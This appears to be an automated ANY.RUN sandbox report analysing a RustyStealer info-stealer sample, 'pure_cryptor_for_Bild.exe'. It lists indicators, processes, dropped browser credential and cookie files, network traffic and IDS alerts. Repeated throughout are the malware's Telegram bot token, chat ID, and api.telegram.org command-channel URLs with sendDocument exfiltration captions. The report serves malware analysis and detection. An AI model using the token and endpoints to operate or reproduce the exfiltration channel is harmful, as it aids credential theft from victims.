File name:

pure_cryptor_for_Bild.exe

Full analysis: https://app.any.run/tasks/f83c7d9f-2302-43bb-a5e4-6de9d4029666
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 17:35:04
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
evasion
stealer
telegram
ims-api
generic
upx
rustystealer
rust
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 3 sections
MD5:

849EB7B18D410813F0AA9A2C421147B2

SHA1:

9682FFD7E48876F6920DED3D08DE38C161C6A452

SHA256:

0E71730B97C33AE14F83446E7B2F3BB761FB975AFFABE1DC2DD6E3C26A1BB4CA

SSDEEP:

49152:C+8LQeXj6CpIGHUhEVrkq3vpeQKYB+H32S7EWpTwvzVWcCoJ3Jm+JUOGfsn8Ut3j:PkQeT6oIaUTqxekB+X2S7MvzsjoBJm+t

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • RUSTYSTEALER has been detected (YARA)

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • Actions looks like stealing of personal data

      • pure_cryptor_for_Bild.exe (PID: 7336)

  • SUSPICIOUS

    • The process bypasses the loading of PowerShell profile settings

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • Checks for external IP

      • svchost.exe (PID: 2196)

    • Possible usage of Discord/Telegram API has been detected (YARA)

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • Multiple wallet extension IDs have been found

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • The process hide an interactive prompt from the user

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • Starts POWERSHELL.EXE for commands execution

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • The process hides Powershell's copyright startup banner

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • There is functionality for taking screenshot (YARA)

      • pure_cryptor_for_Bild.exe (PID: 7336)

  • INFO

    • Checks proxy server information

      • pure_cryptor_for_Bild.exe (PID: 7336)
      • slui.exe (PID: 8052)

    • Creates files or folders in the user directory

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • Reads the computer name

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • Reads the machine GUID from the registry

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • UPX packer has been detected

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • Attempting to use instant messaging service

      • pure_cryptor_for_Bild.exe (PID: 7336)
      • svchost.exe (PID: 2196)

    • The sample compiled with english language support

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • Checks supported languages

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • Create files in a temporary directory

      • pure_cryptor_for_Bild.exe (PID: 7336)

    • Reads the software policy settings

      • pure_cryptor_for_Bild.exe (PID: 7336)
      • slui.exe (PID: 8052)

    • Application based on Rust

      • pure_cryptor_for_Bild.exe (PID: 7336)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

ims-api

(PID) Process(7336) pure_cryptor_for_Bild.exe
Telegram-Tokens (1)7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Telegram-Info-Links
7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Get info about bothttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getMe
Get incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getUpdates
Get webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
End-PointsendDocument
Args
chat_id (1)-4694135157
caption (1)L
Telegram-Tokens (1)7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Telegram-Info-Links
7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Get info about bothttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getMe
Get incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getUpdates
Get webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
End-PointsendDocument
Args
chat_id (1)-4694135157
caption (1)- IP Info - IP: 185.63.98.10 Country: Czech Republic City: Mar
Token7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
End-PointsendDocument
Args
chat_id (1)-4694135157
caption (1)- IP Info - IP: 185.63.98.10 Country: Czech Republic City: Maršovice Postal: 257 55 ISP: Uvt Internet S.R.O. - A50825 Timezone: 02:00 - PC Info - OS: Microsoft Windows 10 Pro CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz GPU: - Microsoft Basic Display Adapter (1280, 720) HWID: Unknown Curre...
Telegram-Tokens (1)7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Telegram-Info-Links
7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Get info about bothttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getMe
Get incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getUpdates
Get webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
End-PointsendDocument
Args
chat_id (1)-4694135157
caption (1)- IP Info - IP: 185.63.98.10 Country: Czech Republic City: Mar
Telegram-Tokens (1)7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Telegram-Info-Links
7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Get info about bothttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getMe
Get incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getUpdates
Get webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
End-PointsendDocument
Args
chat_id (1)-4694135157
caption (1)- IP Info - IP: 185.63.98.10 Country: Czech Republic City: Maršovice Postal: 257 55 ISP: Uvt Internet S.R.O. - A50825 Timezone: 02:00 - PC Info - OS: Microsoft Windows 10 Pro CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz GPU: - Microsoft Basic Display Adapter (1280, 720) HWID: Unknown Curre...
Telegram-Tokens (1)7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Telegram-Info-Links
7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Get info about bothttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getMe
Get incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getUpdates
Get webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook?drop_pending_updates=true

RustyStealer

(PID) Process(7336) pure_cryptor_for_Bild.exe
URLhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
No Malware configuration.

TRiD

.exe | Clipper DOS Executable (33.3)
.exe | Generic Win/DOS Executable (33)
.exe | DOS Executable Generic (33)
.vxd | VXD Driver (0.5)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:05:15 10:18:01+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.43
CodeSize: 1572864
InitializedDataSize: 4096
UninitializedDataSize: 1708032
EntryPoint: 0x320fc0
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 4.13.741.4882
ProductVersionNumber: 4.13.741.4882
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Windows, Latin1
CompanyName: Accessible Tool Inc.
FileDescription: Application for Deliver Specification
FileVersion: 5.01.488.4000
ProductName: MakeList
LegalCopyright: © 2025 Accessible Tool Inc.
InternalName: Trans
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
128
Monitored processes
5
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #RUSTYSTEALER pure_cryptor_for_bild.exe svchost.exe powershell.exe no specs conhost.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
7336"C:\Users\admin\Desktop\pure_cryptor_for_Bild.exe" C:\Users\admin\Desktop\pure_cryptor_for_Bild.exe
explorer.exe
User:
admin
Company:
Accessible Tool Inc.
Integrity Level:
MEDIUM
Description:
Application for Deliver Specification
Exit code:
0
Version:
5.01.488.4000
Modules
Images
c:\users\admin\desktop\pure_cryptor_for_bild.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
ims-api
(PID) Process(7336) pure_cryptor_for_Bild.exe
Telegram-Tokens (1)7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Telegram-Info-Links
7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Get info about bothttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getMe
Get incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getUpdates
Get webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
End-PointsendDocument
Args
chat_id (1)-4694135157
caption (1)L
(PID) Process(7336) pure_cryptor_for_Bild.exe
Telegram-Tokens (1)7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Telegram-Info-Links
7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Get info about bothttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getMe
Get incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getUpdates
Get webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
End-PointsendDocument
Args
chat_id (1)-4694135157
caption (1)- IP Info - IP: 185.63.98.10 Country: Czech Republic City: Mar
Token7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
End-PointsendDocument
Args
chat_id (1)-4694135157
caption (1)- IP Info - IP: 185.63.98.10 Country: Czech Republic City: Maršovice Postal: 257 55 ISP: Uvt Internet S.R.O. - A50825 Timezone: 02:00 - PC Info - OS: Microsoft Windows 10 Pro CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz GPU: - Microsoft Basic Display Adapter (1280, 720) HWID: Unknown Curre...
(PID) Process(7336) pure_cryptor_for_Bild.exe
Telegram-Tokens (1)7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Telegram-Info-Links
7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Get info about bothttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getMe
Get incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getUpdates
Get webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
End-PointsendDocument
Args
chat_id (1)-4694135157
caption (1)- IP Info - IP: 185.63.98.10 Country: Czech Republic City: Mar
(PID) Process(7336) pure_cryptor_for_Bild.exe
Telegram-Tokens (1)7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Telegram-Info-Links
7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Get info about bothttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getMe
Get incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getUpdates
Get webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook?drop_pending_updates=true
Telegram-Requests
Token7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
End-PointsendDocument
Args
chat_id (1)-4694135157
caption (1)- IP Info - IP: 185.63.98.10 Country: Czech Republic City: Maršovice Postal: 257 55 ISP: Uvt Internet S.R.O. - A50825 Timezone: 02:00 - PC Info - OS: Microsoft Windows 10 Pro CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz GPU: - Microsoft Basic Display Adapter (1280, 720) HWID: Unknown Curre...
(PID) Process(7336) pure_cryptor_for_Bild.exe
Telegram-Tokens (1)7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Telegram-Info-Links
7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
Get info about bothttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getMe
Get incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getUpdates
Get webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/getWebhookInfo
Delete webhookhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook
Drop incoming updateshttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ/deleteWebhook?drop_pending_updates=true
RustyStealer
(PID) Process(7336) pure_cryptor_for_Bild.exe
URLhttps://api.telegram.org/bot7376866457:AAGMMnznIAX1GLSXsMlDbN32KtrlyRsUDnQ
7472"powershell.exe" -NoProfile -NonInteractive -NoLogo -Command "Get-Culture | Select -ExpandProperty DisplayName"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—pure_cryptor_for_Bild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
7480\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
8052C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
10 770
Read events
10 770
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
92
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
7336pure_cryptor_for_Bild.exeC:\Users\admin\AppData\Local\Temp\google_default_login_databinary
MD5:A45465CDCDC6CB30C8906F3DA4EC114C
SHA256:4412319EF944EBCCA9581CBACB1D4E1DC614C348D1DFC5D2FAAAAD863D300209
7472powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:0C8C7196141B0383718A439246A59509
SHA256:34B43EFD80738842F86D5A7E43354743EB716EEFC3864504769BE40F4A0FA102
7472powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_be3vjsub.dfj.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7336pure_cryptor_for_Bild.exeC:\Users\admin\AppData\Local\Temp\orbitum_network_cookiesbinary
MD5:06AD9E737639FDC745B3B65312857109
SHA256:C8925892CA8E213746633033AE95ACFB8DD9531BC376B82066E686AC6F40A404
7336pure_cryptor_for_Bild.exeC:\Users\admin\AppData\Local\Temp\google_default_webdatabinary
MD5:F6C33AC5E1032A0873BE7BFC65169287
SHA256:D97895CEDED32E33D57BDCACCDBE144E58AA87AF4D2F8855D630286CE30A8D83
7336pure_cryptor_for_Bild.exeC:\Users\admin\AppData\Local\Temp\opera stable_default_webdatabinary
MD5:F6C33AC5E1032A0873BE7BFC65169287
SHA256:D97895CEDED32E33D57BDCACCDBE144E58AA87AF4D2F8855D630286CE30A8D83
7336pure_cryptor_for_Bild.exeC:\Users\admin\AppData\Local\Temp\orbitum_default_login_databinary
MD5:A45465CDCDC6CB30C8906F3DA4EC114C
SHA256:4412319EF944EBCCA9581CBACB1D4E1DC614C348D1DFC5D2FAAAAD863D300209
7336pure_cryptor_for_Bild.exeC:\Users\admin\AppData\Local\Temp\mail.ru_default_login_databinary
MD5:A45465CDCDC6CB30C8906F3DA4EC114C
SHA256:4412319EF944EBCCA9581CBACB1D4E1DC614C348D1DFC5D2FAAAAD863D300209
7336pure_cryptor_for_Bild.exeC:\Users\admin\AppData\Local\Temp\orbitum_default_webdatabinary
MD5:F6C33AC5E1032A0873BE7BFC65169287
SHA256:D97895CEDED32E33D57BDCACCDBE144E58AA87AF4D2F8855D630286CE30A8D83
7336pure_cryptor_for_Bild.exeC:\Users\admin\AppData\Local\Temp\mail.ru_network_cookiesbinary
MD5:06AD9E737639FDC745B3B65312857109
SHA256:C8925892CA8E213746633033AE95ACFB8DD9531BC376B82066E686AC6F40A404
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
55
DNS requests
18
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2104
svchost.exe
GET
200
23.48.23.191:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
2104
svchost.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
7916
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl
unknown
—
—
whitelisted
7916
SIHClient.exe
GET
200
23.48.23.177:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl
unknown
—
—
whitelisted
7916
SIHClient.exe
GET
200
23.48.23.177:80
http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl
unknown
—
—
whitelisted
7916
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
7916
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.2.crl
unknown
—
—
whitelisted
7916
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.2.crl
unknown
—
—
whitelisted
7916
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2104
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
7336
pure_cryptor_for_Bild.exe
195.201.57.90:443
ipwho.is
Hetzner Online GmbH
DE
malicious
2104
svchost.exe
23.48.23.191:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
2104
svchost.exe
2.23.246.101:80
www.microsoft.com
Ooredoo Q.S.C.
QA
whitelisted
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
40.126.32.68:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
7336
pure_cryptor_for_Bild.exe
149.154.167.220:443
api.telegram.org
Telegram Messenger Inc
GB
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.184.238
whitelisted
ipwho.is
  • 195.201.57.90
malicious
crl.microsoft.com
  • 23.48.23.191
  • 23.48.23.138
  • 23.48.23.183
  • 23.48.23.139
  • 23.48.23.190
  • 23.48.23.140
  • 23.48.23.194
  • 23.48.23.143
  • 23.48.23.181
  • 23.48.23.177
  • 23.48.23.174
  • 23.48.23.176
  • 23.48.23.169
  • 23.48.23.180
  • 23.48.23.166
  • 23.48.23.168
  • 23.48.23.158
  • 23.48.23.162
whitelisted
www.microsoft.com
  • 2.23.246.101
whitelisted
client.wns.windows.com
  • 172.211.123.248
whitelisted
login.live.com
  • 40.126.32.68
  • 40.126.32.74
  • 20.190.160.17
  • 20.190.160.5
  • 20.190.160.20
  • 40.126.32.76
  • 20.190.160.65
  • 40.126.32.138
whitelisted
api.telegram.org
  • 149.154.167.220
whitelisted
settings-win.data.microsoft.com
  • 4.231.128.59
  • 20.73.194.208
whitelisted
slscr.update.microsoft.com
  • 4.175.87.197
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Potentially Bad Traffic
ET INFO External IP Lookup Domain in DNS Lookup (ipwho .is)
2196
svchost.exe
Misc activity
ET HUNTING Telegram API Domain in DNS Lookup
7336
pure_cryptor_for_Bild.exe
Misc activity
ET HUNTING Telegram API Certificate Observed
7336
pure_cryptor_for_Bild.exe
Misc activity
ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)
—
—
Misc activity
ET HUNTING Telegram API Request (GET)
—
—
Malware Command and Control Activity Detected
ET MALWARE Possible Generic RAT over Telegram API
—
—
A Network Trojan was detected
ET MALWARE Win32/Luca Stealer Sending System Information via Telegram (GET)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
pure_cryptor_for_Bild.exe